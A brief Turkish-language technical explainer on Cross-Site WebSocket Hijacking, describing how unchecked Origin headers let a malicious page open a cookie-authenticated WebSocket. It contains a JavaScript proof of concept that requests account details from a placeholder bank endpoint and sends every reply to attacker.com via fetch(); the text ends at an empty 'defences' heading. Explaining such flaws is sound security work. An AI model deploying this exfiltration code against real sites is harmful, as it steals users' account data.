Teknik Özet ve Araştırma Kapsamı

WebSocket protokolü, istemci ile sunucu arasında çift yönlü (full-duplex) ve düşük gecikmeli iletişim sağlar. Ancak HTTP hand-shake aşamasında Origin başlığı doğrulanmadığı takdirde Cross-Site WebSocket Hijacking (CSWSH) zafiyeti meydana gelir.

1. CSWSH Zafiyetinin Çalışma Mantığı

Kullanıcı hedef sitede oturum açtığında tarayıcı çerezleri saklar. Saldırgan kendi web sitesinde açtığı bir JavaScript istemcisi üzerinden kurbanın tarayıcısını kullanarak hedef WebSocket sunucusuna wss:// bağlantısı başlatır. Tarayıcı varsayılan olarak çerezleri isteğe eklediği için sunucu bağlantıyı onaylar.

// CSWSH PoC İstemci Kod Örneği
var ws = new WebSocket("wss://hedef-banka.com/ws/live-stream");
ws.onopen = function() {
  ws.send(JSON.stringify({action: "get_account_details"}));
};
ws.onmessage = function(event) {
  fetch("https://attacker.com/log?data=" + encodeURIComponent(event.data));
};

2. Savunma ve Korunma Yöntemleri